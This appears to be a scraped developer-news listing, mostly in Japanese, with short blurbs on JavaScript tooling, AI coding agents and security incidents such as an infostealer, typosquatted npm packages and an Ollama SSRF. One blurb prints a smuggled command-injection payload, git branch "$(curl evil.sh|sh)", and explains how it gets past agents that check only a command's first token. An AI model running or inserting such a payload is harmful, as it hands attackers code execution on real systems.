AI搭載の「Pi」と「Tardis」により、Shopifyが6年続いたReact Nativeからの脱却に成功
Shopifyは、機能マッピング用の「Pi」とライブデバッグ用の「Tardis」という2つの社内AIエージェントを開発し、コードの書き換えを自動化しました。これにより、6年間運用してきたReact Nativeスタックを廃止しながら、起動時間の2秒短縮、アプリサイズの109MB削減、そしてクラッシュ回数の約10分の1への低減を実現しました。
JavaScriptとTypeScriptのエコシステム。
Shopifyは、機能マッピング用の「Pi」とライブデバッグ用の「Tardis」という2つの社内AIエージェントを開発し、コードの書き換えを自動化しました。これにより、6年間運用してきたReact Nativeスタックを廃止しながら、起動時間の2秒短縮、アプリサイズの109MB削減、そしてクラッシュ回数の約10分の1への低減を実現しました。
冗長な`new Promise`パターンを単一の`Promise.withResolvers()`呼び出しに置き換えることで、開発者はresolve/reject関数をシステムの任意の場所に渡せるようになります。これにより、resolveの書き忘れや二重のreject警告、深いネストを解消でき、特にサーバーレスのLambda環境において非常に有用です。
サーバーは生のTLS ClientHelloをJA3/JA4フィンガープリントとしてハッシュ化します。User-AgentやHTTP/2の設定に不一致があると、そのリクエストはスクリプトによるものとして判定されます。唯一の確実な解決策は、リクエストのあらゆるレイヤーにおいて、同一のブラウザであるかのように一貫性を持たせることです。
Pocket-35BのGGUF形式の重みはllama.cppやOllamaに直接ロードできるため、GPU予算のないチームでも、一定のRAM要件さえ満たしていれば、標準的なノートPC上で350億パラメータのモデルを起動できます。
キャストは再生処理をテレビのファームウェアに委ねるため、トークンはセッションよりも長く有効である必要があり、CORSヘッダーにはテレビのオリジンを含める必要があり、さらにストリームURLはblobであってはなりません。本ガイドでは、マニフェストURLへの切り替え方法と接続の検証方法を解説します。
The new default lockfile in Bun v1.2 is a plain-text bun.lock, replacing the opaque bun.lockb. This change lets reviewers see exact version shifts, run policy checks in CI, and trace malicious inserts with standard git tools.
RAMのみで動作するJSCealペイロードは、Chromiumブラウザからクッキー、保存されたパスワード、OAuthトークンを抽出します。その後、セッションをリプレイしてGoogleの2要素認証プロンプトを回避することで、攻撃者がBinance、Bybit、Ledgerなどの口座から資金を奪取することを可能にします。
2026年9月7日の04:54:59から04:55:48 UTCの間に公開されたこれらのパッケージは、cb-wallet-httpといった名称で@coinbase/wallet-sdkを模倣し、バージョン「0.0.1-security」を使用しており、悪意のあるコードがいかに迅速にプロジェクトへ侵入し得るかを浮き彫りにしています。
Cisco Talosは、ユーザーを欺いてTampermonkeyスクリプトをインストールさせる暗号資産スキミングの手口「ClickFix」を発見しました。このスクリプトは、入金アドレスをリアルタイムで書き換えることで、取引が正当に見えるように装いながら資金を盗み出します。
13種類の範囲式を19個のバージョン番号に対してテストした結果、一致した結果はわずか17件で、そのほとんどが拒否(不一致)でした。キャレット(^)、チルダ(~)、ドットx(.x)などの記号はマネージャーごとに解釈が異なり、驚くべき互換性の欠如を招いています。
Ollama 0.33.2においてもSSRFの脆弱性が残存しています。これは、テンソルモデルのダウンローダーが、CVE-2026-5530対策として導入されたリダイレクトガードを回避する別のHTTPクライアントを使用しているためであり、攻撃者がモデルの取得先を任意の到達可能なアドレスへリダイレクトできてしまうためです。
CVE-2026-22708 demonstrates that agents checking only the first token of a command can be duped by payloads hidden in arguments—e.g., git branch "$(curl evil.sh|sh)"—granting attackers the same privileges as the automation bot.
The 45 % discount applies when the same system prompt and tool schema are reused across many iterations, making Claude Fable 5.1 especially attractive for autonomous code reviewers, ticket-triage bots, and other repetitive agent pipelines.
WebFPGAはWebUSB APIを使用してJavaScriptからLattice iCE40-UP5K FPGAをプログラミングすることで、わずか数十ミリワットの消費電力で10 ms未満のTinyML推論を可能にします。また、すべてのデータはデバイス内に保持されるため、ブラウザ外にデータが送信されることはありません。
露出したキーが悪用されることで、攻撃者は決済の作成、請求書の取得、個人データの収集が可能となり、チャージバックや罰金、ブランド毀損のリスクが生じています。即時の対策として、dotfilesのブロック、全キーのローテーション、およびシークレットのVaultへの移行が推奨されます。
新バージョンでは、複雑な文字体系における段落レイアウトの精度向上、機能を簡素化した下書き表示(Draft View)の追加、ODFからDOCX/XLSXへの変換機能の改善が行われました。さらに、セキュリティパッチとマクロのサンドボックス化により、オンプレミス環境でのドキュメントの安全性が強化されています。
Rust製のエンジンが別プロセスで動作することで、型解析をUIスレッドから分離。さらに、変更されたファイルのみを再チェックする高度なキャッシュ機能により、より軽快な増分ビルドを実現します。
Vue 3.6で導入予定のVapor Modeは、単一ファイルコンポーネントを直接的なDOM操作へとコンパイルすることで、仮想DOMの差分計算(diff)プロセスを排除します。1秒間に数十回の再描画を行うベンチマークゲームでは、レンダリング時間の短縮とバンドルサイズの削減を実現しますが、更新頻度の低いUIにおける効果は限定的です。
Anthropicのエンジニアは、64個のClaude Fable 5エージェントを並列稼働させて11日間でBunのコードベースをRustへと書き換え、16万5千ドルのトークン使用料を記録しました。しかし、マージ後の計算リソースや安全性監査のコストを考慮すると、実際の総額はさらに高くなる可能性があります。
ベータ版限定のリクエストヘッダーが廃止されたことで、企業は法務やセキュリティ上の障壁をようやく解消できるようになります。また、コンピュータ使用ツールの新しいバッチアクションモードにより、低遅延化とトークン使用量の削減が期待されますが、実際の節約効果については検証が必要です。
今回のリリースでは、Time to Interactiveを40〜60%削減できる本番環境対応のPartial Prerendering、Server Actionsのより強固なTypeScriptサポート、そしてRustベースのミドルウェアが導入されました。ただし、Node 20以上が必要であり、既存のWebpackプラグインが動作しなくなる可能性があります。
新しいベータ版では、必要なグリッド機能のみをインポートできるようになりました。ソート用のコードを完全に除外することで、ダウンロードサイズを約5KBまで削減し、以前はINPスコアの低下を招いていたメインスレッドの負荷を回避できます。
Meteor 3.5では、DDP_TRANSPORT=uws 環境変数を通じてuWebSockets.jsに切り替え可能な、プラグイン式のDDPトランスポートが導入されました。これにより、RPC負荷の高いアプリケーションにおいて、最大1.6倍のスループット向上、9%のCPU削減、11%のRAM削減、および26%のGCポーズ短縮を実現します。
Mastering Advanced Server Side Caching in Next.js Scaling a Next.js app requires more than just choosing between SSR and SSG. As your data grows, you need advanced caching to redu…